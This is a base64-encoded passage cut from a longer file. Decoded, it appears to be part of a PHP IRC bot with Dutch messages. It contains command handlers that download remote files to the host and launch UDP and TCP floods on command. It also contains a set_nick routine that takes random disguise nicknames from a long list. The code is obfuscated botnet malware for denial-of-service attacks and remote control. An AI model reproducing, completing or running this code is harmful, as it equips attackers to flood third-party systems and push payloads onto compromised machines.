AgICAgICAgICAgICAgICAgICB7ICANCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZy gkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltkb3dubG9hZDpdAzE0 IEtvbiBiZXN0YW5kIG5pZXQgZG93bmxvYWRlbi4gVG9lc3RlbW 1pbmcgZ2V3ZWlnZXJkLiIpOyANCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIC AgICAgICAgICAgICAgICAgIGVsc2UgDQogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgeyANCiAgICAgICAgICAgIC AgICAgICAgICAgICAgICAgICAgICAgICBpZighJGdldCA9IGZp bGUoJG1jbWRbMV0pKSANCiAgICAgICAgICAgICAgICAgICAgIC AgICAgICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKC R0aGlzLT5jb25maWdbJ2NoYW4nXSwiW2Rvd25sb2FkOl0DMTQg S2FuIGJlc3RhbmQgXDIiLiRtY21kWzFdLiJcMiBuaWV0IGRvd2 5sb2FkZW4uIik7IA0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIH0gDQoNCiAgICAgICAgICAgICAgICAgIC AgICAgICAgICAgICAgICAgICBlbHNlIA0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIHsgDQogICAgICAgIC AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRp PTA7JGk8PWNvdW50KCRnZXQpOyRpKyspIA0KICAgICAgICAgIC AgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgDQogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgZndyaXRlKCRmcCwkZ2V0WyRpXSk7IA0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgIC AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRo aXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbZG 93bmxvYWQ6XQMxNCBCZXN0YW5kIFwyIi4kbWNtZFsxXS4iXDIg Z2Vkb3dubG9hZCBuYWFyIFwyIi4kbWNtZFsyXS4iXDIiKTsgDQ ogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg fSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgICBmY2xvc2UoJGZwKTsgDQogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgIC AgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgZWxzZSB7ICR0aGlzLT5wcml2bXNnKCR0aGlzLT 5jb25maWdbJ2NoYW4nXSwiW2Rvd25sb2FkOl0DMTQgVHlwIFwi LmRvd25sb2FkIGh0dHA6Ly95b3VyLmhvc3QvZmlsZSAvdG1wL2 ZpbGVcIiIpOyB9DQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgYnJlYWs7IA0KCQkJCQkJCQ0KICAgICAgICAgICAgICAgIC AgICAgICAgICAgIGNhc2UgImRpZSI6IA0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICR0aGlzLT5zZW5kKCJRVUlUID pkaWUgY29tbWFuZCBmcm9tICRuaWNrIik7DQogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCR0aGlzLT5jb2 5uKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ZXhpdDsgDQoJCQkJCQkJICAgDQogICAgICAgICAgICAgICAgIC AgICAgICAgICAgY2FzZSAibG9nb3V0IjogDQogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmxvZ19vdXQoJG hvc3QpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ1 0sIlthdXRoOl0DMTQgSmUgYmVudCBudSB1aXRnZWxvZ3QgJG5p Y2siKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYn JlYWs7IA0KCQkJCQkJCQ0KICAgICAgICAgICAgICAgICAgICAg ICAgICAgIGNhc2UgInVkcGZsb29kIjogDQogICAgICAgICAgIC AgICAgICAgICAgICAgICAgICAgaWYoY291bnQoJG1jbWQpPjMp IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgDQ ogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRo aXMtPnVkcGZsb29kKCRtY21kWzFdLCRtY21kWzJdLCRtY21kWz NdKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg fSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhaz sgDQoJCQkJCQkJDQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgY2FzZSAidGNwZmxvb2QiOiANCiAgICAgICAgICAgICAgIC AgICAgICAgICAgICAgICBpZihjb3VudCgkbWNtZCk+NSkgDQog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyANCiAgIC AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ dGNwZmxvb2QoJG1jbWRbMV0sJG1jbWRbMl0sJG1jbWRbM10sJG 1jbWRbNF0sJG1jbWRbNV0pOyANCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgIC AgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICAgICAg ICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgIH0gDQogIC AgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBi cmVhazsgDQogICAgICAgICAgICAgfSANCiAgICAgICAgICB9IA 0KICAgICAgIH0gDQogICAgICAgJG9sZF9idWYgPSAkdGhpcy0+ YnVmOyANCiAgICB9IA0KICAgICR0aGlzLT5zdGFydCgpOyANCi B9IA0KIGZ1bmN0aW9uIHNlbmQoJG1zZykgDQogeyANCiAgICBm d3JpdGUoJHRoaXMtPmNvbm4sIiRtc2dcclxuIik7IA0KDQogfS ANCiBmdW5jdGlvbiBqb2luKCRjaGFuLCRrZXk9TlVMTCkgDQog eyANCiAgICAkdGhpcy0+c2VuZCgiSk9JTiAkY2hhbiAka2V5Ii k7IA0KIH0gDQogZnVuY3Rpb24gcHJpdm1zZygkdG8sJG1zZykN CiB7DQogICAgJHRoaXMtPnNlbmQoIlBSSVZNU0cgJHRvIDokbX NnIik7DQogfQ0KIGZ1bmN0aW9uIG5vdGljZSgkdG8sJG1zZykN CiB7DQogICAgJHRoaXMtPnNlbmQoIk5PVElDRSAkdG8gOiRtc2 ciKTsNCiB9DQogZnVuY3Rpb24gaXNfbG9nZ2VkX2luKCRob3N0 KSANCiB7IA0KICAgIGlmKGlzc2V0KCR0aGlzLT51c2Vyc1skaG 9zdF0pKSANCiAgICAgICByZXR1cm4gMTsgDQogICAgZWxzZSAN CiAgICAgICByZXR1cm4gMDsgDQogfSANCiBmdW5jdGlvbiBsb2 dfaW4oJGhvc3QpIA0KIHsgDQogICAgJHRoaXMtPnVzZXJzWyRo b3N0XSA9IHRydWU7IA0KIH0gDQogZnVuY3Rpb24gbG9nX291dC gkaG9zdCkgDQogeyANCiAgICB1bnNldCgkdGhpcy0+dXNlcnNb JGhvc3RdKTsgDQogfSANCg0KIGZ1bmN0aW9uIHNldF9uaWNrKC kgew0KDQokcXVlcnltPWFycmF5KA0KIj8iLCAiISIsICJeXiIs ICIgXl4iLCAiIDooIiwiIDopIiwgIiB+Oj4iLCAiIDpQfiIsIC IgOkQiLCAiLiIsICJhIiwgImkiLCAidSIsICJlIiwgIm8iLA0K InoiLCAidiIsICJ6IiwgIngiLCAiYyIsICJwIiwgIm0iLCAidC IsICJrIiwgImIiLCAicyIsICJ1IiwgImJvdCIsICJnIiwgImxv IiwgImpvIiwgImxvbCINCik7DQokdHN1MT1hcnJheSgiYCIsIn wiLCJbIiwiXSIsInsiLCJ9IiwiXiIsIl8iKTsNCiR0c3UyPWFy cmF5KCJgIiwifCIsIlsiLCJdIiwieyIsIn0iLCJeIiwiLSIsIl xcIiwiXyIpOw0KJG5pY2t5PWFycmF5KCJ0cm9qYW4iLCAia2Vz YXNhciIsICJrd2F0cm9rX3B3b2wiLCAiQ29fUGxlTmdFaCIsIC JzYW5nfGZhamFyIiwgIlttZW50YXJpXSIsICJJbnZpdGVyfGd1 YXJEIiwgIlRfVGBiYG9MIiwNCgkJCSJDZV9wbGVuZ2VIIiwgIk NlX1BFTiIsICJDZV9DaEFfcEVfZEUiLCAiU3RFcCIsICJ0YW1h X2ZzIiwgImF1dGh8Ym90IiwgIlRfVHxvZmYiLCAiXk1vVXNFXi IsICJzb2xpa2luXl9eIiwNCgkJCSJLZVBlbmRldCIsICJhc2Jh ayIsICJjZV9tYXQiLCAiY29fc2VkaWgiLCAiaW52aXRlcl9vbm xpbmUiLCAibWFuaWFjfGNoYXQiLCAifHdvcm18IiwgImR1a3Vu X2NhYnVsIiwNCgkJCSJicm9udG9rIiwgInBlbXVsdW5nfG9mZi IsICJbXVtdW10iLCAiW2hdW2FdbltddFtddVtdIiwgInRlbWFu X2FwYV90ZW1hbiIsICJjb19zZXRyZXNzIiwgIkF2YXNUIiwgIl NoYVJhaCIsDQoJCQkia2FjYW5nX2thY2FuZyIsICJpbnZpdGVy X2Nvb2wiLCAiYWhtYXR8cGxlbmdlaCIsICJzYW5nX2Rld2EiLC Aic2FwYV9tYXVfIiwgIm1hdGlfYWphIiwgIkNqRHciLCAidDRr MjUxfG9GZiIsDQoJCQkiRGVTdG9SeWVEIiwgImNvYm9rIiwgIn N0YW5sZXkiLCAic2VsYU1FVCIsICJHYW5kb3MiLCAidG9tbXBl bCIsICJib2JveSIsICJmYWhtaSIsICJ0YW1hIiwgImZsb29kZX IiLCAiRGVTU1MxIiwNCgkJCSJMZW5EdSIsICJtb255b25LIiwg Imt3YXRyb2siLCAiQWRtaW5fd2ViIiwgIkFkbWluX3Nwb29mIi wgImludml0ZXIiLCAiQWRtaW5fc2VydmVyIiwgIkFkbWluX3Nl cnZlcjEiLCAibGlgbnUiLA0KCQkJIkt1YW18T0ZGIiwgIkJvYn VrLW1hbml6IiwgImw0dDRuZyIsICJLcnNuYW5ldC1DcmV3MSIs ICJLcnNuYW5ldC1DcmV3MiIsICJLcnNuYW5ldC1DcmV3MyIsIC JLcnNuYW5ldC1DcmV3NCIsDQoJCQkibTE0IiwgImc0ajNMIiwg InIxazQtY3V0ZSIsICJwKipoLWN1dGUiLCAicjRpaC1tYW5pZX oiLCAidjNvX0prdCIsICJrNDR3YW5nMSIsICJKMDAtblQwbDMi LCAiS3VhbW9uIiwgIm15b2ZmIiwNCgkJCSJsNHRyMS1HRyIsIC JyZW5hIiwgImJpLTM2YiIsICJSRXl0YSIsICJSRWEtY3V0ZSIs ICJzaG5hIiwgInNodGEiLCAiemhsZSIsICJCbGNrX2hPbDMiLC AidDExNG4iLCAiZjQxNG4iLA0KCQkJImNlX2NyeV9jb3dvIiwg ImNvd29fY2FyeV9jZXciLCAibmFuYW5hbmFuYSIsICJ0dXR1dH V0dXQiLCAiY2V3X2FqYWhhbiIsICJjb19waWxvdCIsICJjb19k b2t0ZXIxIiwgImNvX2d1cnUyIiwNCgkJCSJjb190YWtlc2kiLC AiY29fcG9saXNpNCIsICJjb190ZW50YXJhNSIsICJjb19zYWxv biIsICJjb19iYW5jaSIsICJjZXdfc3VrYV9jZXciLCAidWphbm dzIiwgInVudHVuZyIsDQoJCQkiY29faW5naW5fbWxsbGwxIiwg ImNvX2phbWJpX2theWEiLCAiY29fcHJlc2lkZW5fcmkiLCAiY2 9fcGVuYWhhbl9uYWZzdSIsICJjb19rYXlha2EiLCAiY29fbm9y bWFsNiIsDQoJCQkiY29vb29vb29vNyIsICJuY29vb29vbzgiLC AiY2V3ZVhzIiwgImNld2Vrenp6IiwgImNld2Vrc3N6enp6eiIs ICJjZV9fX2NlIiwgImNoYWNoYSIsICJjaGljaGlfIiwgImFyZG lhbmFuIiwNCgkJCSJjZV9wdXRpaF9tYW5pcyIsICJjZXdlMjEi LCAiY2Vfa3VsaWFoYW5fYXEiLCAiY2Vfc2tvbGFoYWhuIiwgIm NlX21hbWEiLCAibWFtYV9wdXRyaXkxIiwgInB1dHlfY2F5YW5r IiwNCgkJCSJ0YWtlc2lbcHV0cnldIiwgIm1hbHVrdSIsICJjZX dlX3NpZG9hcmpvbyIsICJtYW5pY19mcyIsICJjZXdla3p6el9m cyIsICJjb3dva3pfZnMiLCAiamFkaV9jZSIsICJ3b3dvayIsDQ oJCQkibmFuYW5hIiwgIm5hbmlfZnMiLCAic3VnaWt6X2ZzIiwg Im5vdGVwYWsiLCAieWFtYWhhNSIsICJzdXp1a2k3NiIsICJjby 1saW1pdGVkYm90dGVyNzciLCAiY2UtbGltaXRlZGJvdHRlcjc4 IiwNCgkJCSJjb3dlLWxpbWl0ZWRib3R0ZXI3OSIsICJjb3dvLW xpbWl0ZWRib3R0ZXI4MCIsICJ3ZS1saW1pdGVkYm90dGVyODEi LCAibm9fc3VidSIsICJuby1uYXJrb2JhIiwgImNlX3N1a2Ffbm Fya29iYSIsDQoJCQkiY2Vfc3VrYV9hbGxrb2hvbCIsICJjb19z dWthX21hYnVrPyIsICJjb19pc2xhbT8iLCAiYzBfa2F5YV9ham FoIiwgImNvX21vYmlsX3NlZGFuIiwgImNvX3NlbXBha3p6enoi LCAiYzNfMyIsICANCgkJCSJjZV9tb3RpZVoiLCAiW05vYmxlbW FuXSIsICJCbGFja19UeXJhbm8iLCAiY2VfbWFueXVuIiwgImpl bWJ1VGkiLCAiVHlyYW4tRHJhZ29uIiwgIm5pYV9ib2JvIiwgIl tGbGluVF0iLCANCgkJCSJNZXRhTC1EcmFnb24iLCAiYXByaWxf bG92ZSIsICJWaWNTaU5nIiwgIkZpcmUtRHJhZ29uIiwgInZhcm FfIiwgIlRoZS1BYnlzcyIsICJCcmFpbl5KYWNrZXIiLCAiQXJi aWEiLA0KCQkJIldDaVpjbyIsICJHaXJlUGFuZGEiLCAidmlsYV 9tYW5qYSIsICJCdUdpZUwiLCAiR2lhcmFkb3MiLCAiW1JdZWNb byIsICJ7TWV0YWxtb3JwaH0iLCAiRHJhdGluaSIsICJeS2lMTF teIiwNCgkJCSJ7TmVlZGxlX1dhbGx9IiwgIkRyYWdvbml0ZSIs ICJkaWV0YV9jdXRlIiwgIntYdU1ibGllUn0iLCAiRHJhZ29uYW lyIiwgIltNQ1tSXSIsICJNcl9QYXRla3VsIiwgIkRvZy1NYXJs aSIsDQoJCQkiRXhpbGUtRm9yY1tlIiwgIltSZS1GdXNpb25dIi wgIkZpZW5kLURhcmtuZXNzIiwgIl94WHhbXyIsICJLYXJ0dUFT IiwgIlJlcHRpbGUtTGl6YXJkIiwgIm1lbGFfY2FlbSIsDQoJCQ kiW0pdYWd1bmciLCAiV2hpdGUtTWFnaWNpYW4iLCAia29tcG9y fG1vYmFbbCIsICJ7S2lyb3JvfSIsICJZLURyYWdvbiIsICJET3 h0cmlbbiIsICJbWV11W1NddCIsICJBcm1vcl5FWEUiLA0KCQkJ IkRSQUdPTi1bWF0iLCAiRy1EYW5rIiwgIlJvY2tfTW9uYXJjaC IsICJBeWllbWJhIiwgIltMYXN0LVdpbGxdIiwgIlBpb25lZXIt QmFnZSIsICJ6SUdHeVtfIiwgIltCb3NzLVJ1c2hdIiwNCgkJCS JDaGFpbmBTbGF5ZXIiLCAiV2hpVGVfRmxhR3MiLCAiW1Jpcnlv a3VdIiwgIkZsYW1pbmdgSEl0YSIsICJHdWFSZC1uRW1vIiwgIk 1yc19BbXBlcmUiLCAiSXJvbi1LbmlnaHQiLA0KCQkJImluRGlh bjQiLCAiRS1DaG9eZSIsICJCdXJnbGFycyIsICJSaUhhbk5hIi wgIltTXWhpbmljaGkiLCAiRWxlbWVudC1EcmFnb24iLCAiRkFM WnpBW05dIiwgIkphcm9zXkpyIiwNCgkJCSJEYXJrLVNpbHZhIi wgIkFscGhhTiIsICJbSGVsbC1BbGxpYW5jZV0iLCAiW0RdSGVy by1EZXZpTEd1eSIsICJCZXRhXk1hZ25lW3RdIiwgIltGZWF0aG VyLVNob3RdIiwNCgkJCSJSb3lhbC1LbmlnaHQiLCAiTmVvXkFx dVthXSIsICJbTGlnaHRlbl0iLCAiRGFyay1CdWxhdSIsICJHYX JuZWMiLCAiam9nbGluZyIsICJNZXRlbyIsICJzcHlCaVR6Iiwg ImMzX2FqYWhhIiwNCgkJCSJbRGFyay1Xb3JsZF0iLCAiR3Vhcm RpYW4tR3JhcmwiLCAia2VpcnlubmEiLCAiR3VhUmQtU2F1cnVz IiwgIkluc2VjdC1Tb2xkaWVyIiwgIm1lZGl0YXJpYSIsICJ7SG Vyby1TaWduYWx9IiwNCgkJCSJDYXRhUHVsVGVyIiwgIk5pbmFh WiIsICJQeXJhbWlkLVR1cnRsZSIsICJCYXJyaWVyLURyYWdvbi IsICJNYWlkZVtuXSIsICJGbGFyZWBEcmFnb24iLCAiW0RdSGVy by1Eb2xlZEd1eSIsDQoJCQkiQW1hem9uLSIsICJzS2lpTiIsIC JTa3VsbF5BbGllbiIsICJUUk9VQkxFWy0iLCAiW0hhbW1lci1T aG90XSIsICJaZXJhdG8iLCAiQkFIQU1VVGUiLCAia0FMcGlpTi IsICJDaGlyb24iLA0KCQkJIl5JRlJJVFNeIiwgIlNpbHBoZWVk IiwgIkd1YVJkTmV0aWMiLCAiTkFSVE9fWFhYIiwgIlJvY2tldC 1KdW1wZXIiLCAiSW5mZXJuYWxRdWVlbiIsICJHdWFSZC1LaWdo dCIsDQoJCQkiTW90aGVyLUdyaXp6bHkiLCAiUGVudW1icmFsIi wgIkdSRUdBUnoiLCAiW1NhbHZhZ2VdIiwgIkNvYnJhLU1hbiIs ICJDeWJvcmtgbmVvIiwgIkdpZ2FudGVzIiwgIkRhcmstR29sZG 8iLA0KCQkJIk1paGF3ayIsICJSeXVraWkiLCAiRGVlcFNlYS1X YXJyaW9yIiwgIkRgQWNlIiwgIk9qYW1hLUJsYWNrIiwgIlNFcn BlbnRpbmUiLCAiQ2ludG9uRyIsICJIb3J1c2BTZXJ2YW50IiwN CgkJCSJGbGFzaGBBc3NhaWxhbnQiLCAiRGBEcmFnb24iLCAie1 plcm8tR3Jhdml0eX0iLCAiQXVzc2EiLCAiRGBUYWNoIiwgImRq YW1icjN0IiwgIk11Y3VzLVlvbGsiLCAiRGBHcmFwIiwNCgkJCS J7R3Jhdml0eS1CaW5kfSIsICJDYW5ub25Ib2xkZXIiLCAiRGBS b2dlciIsICJHYWxlX0xpemFyZCIsICJJbnRlcmNlcHRvci1DYW 5ub24iLCAiR3VhcmRpYW5eU3BpblgiLA0KCQkJIkZlbnJpciIs ICJBbWF6b25lc3MtUGFsYWRpbiIsICJKRVRTRVRFUl8iLCAie1 RyYXAtSmFtbWVyfSIsICJNYXJpb25ldHRlIiwgIlNISVZBYCIs ICJNb2JpdXMtTW9uYXJjaCIsDQoJCQkiS2F5YGVzdCIsICJbQm Fzc10iLCAic3F1aXJkYHdvcmQiLCAiWC1IZWFkLUNhbm5vbiIs ICJDQXJlbGlOIiwgIkNob3BtYW5gT3V0bGF3IiwgIkthbmdhcm 9vIiwgIkFjY2VsZXJhdG9yIiwNCgkJCSJSeXUtUmFuIiwgIkZ1 aGlgTm9gVG9yaSIsICJEYXJrLUhhZGVzIiwgIk1vbHRlbl9ab2 1iaWUiLCAiRF5EXlN1cnZpdm9yIiwgIkZpcmUtU3Ryb20iLCAi W0NoYW9zLUVuZF0iLA0KCQkJIlByaW5jZXNzLUt1bGFuIiwgIl JhZGVvbl4iLCAiTWFza2VkLURyYWdvbiIsICJMYWBKaW5nIiwg IkN5Ym9yW1hdIiwgIntTa2lsLURyYWlufSIsICJCYXR0bGUtT1 giLCAiWm9ycm9gIiwNCgkJCSJ7R29yZ29uc2BFeWV9IiwgIldh cnNoaXAtVGV0cmFuIiwgInJpcmluZSIsICJEZXNgTGFjb29kYS IsICJbRV1IZXJvLVNwYXJrbWFuIiwgIltOZXRCdXNdIiwgInRv bmdgc2FtYGNob25nIiwNCgkJCSJHcmF2ZS1PSGphIiwgIlN1Yl NFdmVuIiwgIkJ5c2VyLVNob2NrIiwgIkVib24tTWFnaWNpYW4i LCAiU0t5Wk9uRVswMl0iLCAiW0VdSGVyby1XaWxkTWFuIiwgIl ByaW5jZXNzLVRzdXJ1Z2kiLA0KCQkJIk9QVElYc2AiLCAiSGVy b19LaWRzIiwgIkRhcmstRHVzdC1TcGlyaXQiLCAiR29sZW0tIi wgIkRhckstQmFsdGVyIiwgIkNyaW9zcGhpblgiLCAiQVFVQS1O RU9TIiwgImF6aXpgZ2FnYXAiLA0KCQkJIltEXUhlcm8tRG91Ym xlR3V5IiwgIkRvcmlhZG8iLCAie1NvbGFyLVJheX0iLCAiQmly ZGZhY2UiLCAiUGhvZW5pWF1bIiwgInRoaWVuZ19mZW5HIiwgIk Z1c2hpb2hgUmljaGllIiwNCgkJCSJQaWtlcnVgIiwgIk1yXlZv bGNhbm8iLCAiTW9ycGhpbmctSkFSIiwgIlNdW0UiLCAiRmVyYW wtSW1wIiwgIkRpY2UtSkFSIiwgIlJBSUdFS0leIiwgIkplbGx5 RmlzaCIsDQoJCQkiR3VhUmQtSkFSIiwgIltSXVtBXSIsICJZb2 1pLVNoaXAiLCAiSEVYLVNlYWxlZCIsICJkZXdpUSIsICJHYW1t YV5NYWduZXQiLCAiU2NhcmFicyIsICJERXNvbGF0ZXwiLA0KCQ kJIlRlcnJhZm9ybWluZyIsICJEZXNyb29rIiwgIk1hamVzVGlj IiwgIkdyZXZlS2VlcGVyc2BHdWFyZCIsICJMb2N1c3RzIiwgIk NyZVdsaXNUIiwgIkZhaXJ5XkxpbHkiLA0KCQkJIkZpYmVyLUpB UiIsICJZYW1hdGFbRF0iLCAiTnlhbi1OeWFuIiwgIlRlcnJvcm tpbmciLCAiT2phbWEtS0lORyIsICJzd2FubGl1IiwgIkxhcnZh ZS1Nb3RoIiwgIltFLUhFUk9dIiwNCgkJCSJEYXJrXkplcm9pZC IsICJWLVRpZ2VyLUpldCIsICJbR0VORVJBTF0iLCAiRGFyay1T Y29ycGlvbiIsICJHYWlhLVNPdWwiLCAiU29yY2VzZXJeIiwgIl VsdGltYXRlLUluc2VjdCIsDQoJCQkiTWFpZGVuLUFxdWEiLCAi QWlyS25pZ2h0IiwgIkplcnJ5LUJlYW5zIiwgIkd1YXJkaWFuLU NlYWwiLCAiVXJpYSIsICJob3Vyc3dpbiIsICJHdWFSZC1HaXJh ZmZlIiwNCgkJCSJEeU5hTWljYSIsICJLYWd1LVRzdWNoaSIsIC JHeW1uYXN0aWNzIiwgIkdhclplVFQiLCAid2lsbHlmdWxsIiwg Ikdhbmdpci1CZWFzdCIsICJTYWt1WlldWyIsICJodWFuZ19saV UiLA0KCQkJIkFtcGhpYmlhbiIsICJCZWhlbW90aGAiLCAiY2Vg Y2EiLCAiSmFja2BzLUtuaWd0IiwgIkluVmVSTm9dWyIsICJUYW xXYXIiLCAiUXVlZW5gcy1LbmlndCIsICJiMDBNZXIiLA0KCQkJ IkhpdG90c3UiLCAiS2luZ2BzLUtuaWdodCIsICJbU0VyVkFOVF 0iLCAiQ2hhb3MtZ3VhcmQiLCAiRGV2aUwtTWFudGEiLCAiSElE Uk9HRURPTiIsICJBbWF6b25lc3MiLCAiQmF6b28iLA0KCQkJIl BIQU5UT00tWCIsICJFVG9sbC1HdWFSZCIsICJTb3VsLVRpZ2Vy IiwgIktPSklLT0NZIiwgIldZTk4iLCAiQ3ljb2lkIiwgIldhdE VSeiIsICJ7TmVlZGxlLVdhbGx9IiwNCgkJCSJQeXJhbWlkYFR1 cnRsZSIsICJEdW5IaUwiLCAie1JhaWdla2ktQnJlYWt9IiwgIl NwZWFyLURyYWdvbiIsICJNYXJsYm9ybyIsICJhbnRpYGRlc3R5 bmkiLCAiRGFya2BFTEYiLA0KCQkJIkFTdGVySUtzIiwgIkJ1Ym JsZS13ZWtzIiwgIltNaWxsZW5uaXVtXSIsICJCYWxsZXJpYSIs ICJSeXUtS2lzaGluIiwgIlRodW5kZXItRHJhZ29uIiwgIlNhbX VyYWleTWFuIiwNCgkJCSJub3RoaW5rYHMiLCAiV2F0ZXItRHJh Z29uIiwgIlNIQUJUSSIsICJLdXJvZ2FuZSIsICJaLU1ldGFsLV RhbmsiLCAiT0pBTUEtS2luZyIsICJEYXJrLUhFWCIsICJbWWFt aV0iLA0KCQkJIk9ncmVlIiwgInNtYXJ0ZXIiLCAiRGVzdHJveW VyYHMiLCAiT0tSRXgiLCAiZ29kYGhhbmQiLCAiR3VhcmRpYW4t RWxtYSIsICJTSE9USE8iLCAiS0luZ2BEZW1pcyIsDQoJCQkiSn VyYXNzaWMtRWdnIiwgIkFDRENbXSIsICJeTmlnaHRNYXJlXiIs ICJCcmVha2VyLVdhcnJpb3IiLCAiRGFuZ2dsZW0iLCAic2hhZ2 d5YGRvZyIsICJNb2lzdHVyZSIsDQoJCQkiRUxUT1ItRWx2b3Ii LCAiQmxhY2stRm9yZXN0IiwgIlJldml2YWwtSmFtIiwgIlJhWU 1BTi1Cb3lzIiwgIkRlc15Xb21iYXQiLCAiU29pdHN1IiwgIkIw eXMiLA0KCQkJIlJlYm9ybl5ab21iaWUiLCAiS2Fpc2VyLURyYW dvbiIsICJPbGFrLWFsdW5nIiwgImtpbmdkb21gb2ZgaGVhdmVu IiwgIlJlc2N1ZS1DYXQiLCAiXkVNUFRZXiIsDQoJCQkiRHJhZ2 9uLUV4YWxpb24iLCAiRXJyaWEiLCAiW1NIaV0iLCAiRF5EXlRy YWluZXIiLCAiREVDT1JPSUQiLCAiRmlza2FOIiwgIlRob3VzYW 5kLURyYWdvbiIsICJLdXdhZ2F0YSIsDQoJCQkib19MaXZpYSIs ICJTbGltZSIsICJBbXBoaWJpb3VzYE1LLTMiLCAiRWxvX2lEen MiLCAiV2l0dHktUGhhbnRvbSIsICJGb290YmFsbGVyIiwgIkdF QVItQkVBU3QiLA0KCQkJIkNhdGFib2xpc20iLCAiRGFyay1TdG VnbyIsICJLYXpLdXoiLCAiR3JhdmVyb2JiZXIiLCAiRHVtbXkt R29sZW0iLCAiWm9yYyIsICJNYWdpYy1Cb3giLCAiRG9scGhpbm EiLA0KCQkJIl5ERU1JU14iLCAiQmlja3VyaWJveCIsICJHQUdB R0lHT0dBIiwgIkFudWJpc3MiLCAiVGFib28iLCAiW0VdSGVyby 1DbGF5bWFuIiwgIkdpbGZlciIsICJLYW1pbm90ZSIsDQoJCQki RGFyay1CbGFkZSIsICJScEdfTHoiLCAiQWNrb2JhdF9Nb25rZX kiLCAiVXNoaW9uaSIsICJMZWF2ZWBNZSIsICJMaXphcmRgV2Fy cmlvciIsICJTaWxlbnRgU3dvcmRzbWFuIiwNCgkJCSJNYW1tb3 RoIiwgIlByZXZlbnRgUmF0IiwgIkRvZ2BNYXJyb24iLCAiTWFt bW90aGAiLCAiS3lvbnNoZWUiLCAiQW1idXJvaWQiLCAiW1RIRV 1bR3V5XSIsIlRIRV1fW0VORCIsIA0KCQkJIkZsYW1lYENlcmVi cnVzIiwgIk1hbi1FYXRlcmBCdWciLCAiaFl1TmEiLCAiWnVsdS IsICJPZ3JlZS1Hcm9UVG8iLCAiSElEUk9OW0gyT10iLCAiTWFu LVUxIik7DQoJCQkNCiAgJHRoaXMtPm5pY2sgPSAkbmlja3lbcm FuZCgwLGNvdW50KCRuaWNreSkgLSAxKV07DQoNCiAgICAjJHRo aXMtPm5pY2sgLj0gJHRoaXMtPmNvbmZpZ1sncHJlZml4J107IA 0KICAgIGZvcigkaT0wOyRpPCR0aGlzLT5jb25maWdbJ21heHJh bmQnXTskaSsrKSANCiAgICAgICMgJHRoaXMtPm5pY2sgLj0gbX RfcmFuZCgwLDkpOyANCiAgICAkdGhpcy0+c2VuZCgiTklDSyBb Ii5yYW5kKDEwMCwgOTk5OSkuIl0iLiR0aGlzLT5uaWNrKTsNCi B9IA0KIA0KICBmdW5jdGlvbiBzZXRfaWRlbnQoKSB7DQogIA0K ICAkcHJpZnk9YXJyYXkoIlN0RXAiLCAiQ2pEdyIsICJhc2Jhay IsICJjb2JvayIsICJBdmFzVCIsICJbXVtdW10iLCAiY2VfbWF0 IiwgInx3b3JtfCIsICJDZS1QRU4iLCAidGVtYW4tYXAiLCANCg kJCSJ0cm9qYW4iLCAidDRrMjUxIiwgIm9ubGluZSIsICJtYW5p YWMiLCAicGVtdWx1IiwgInRhbWEtZnMiLCAiVC1UfG9mZiIsIC Jicm9udG9rIiwgImthY2FuZy1rIiwgDQoJCQkic2V0cmVzcyIs ICJeTW9Vc0VeIiwgIkRlU3RvUnkiLCAic3RhbmxleSIsICJzZW xhTUVUIiwgImtlc2FzYXJyIiwgImt3YXRyb2stIiwgInNhbmct ZGV3IiwgDQoJCQkiUGxlTmdFaGwiLCAic2FuZ3xmYWoiLCAiW2 1lbmFyaV0iLCAiSW52aXRlcnwiLCAiVF9UYGJgb0wiLCAiYXV0 aC1ib3QiLCAiS2VQZW5kZXQiLCAiW110W111W10iLCANCgkJCS Jjb19zZWRpaCIsICJtYXRpX2FqYSIsICJDZV9wbGVuZyIsICJD ZV9DaEFfcCIsICJzYXBhLW1hdSIsICJkdWt1bi1jYSIsICJsaW tpbmdnZyIpOyANCgkJCQ0KICAkaWRlbnQgPSAkcHJpZnlbcmFu 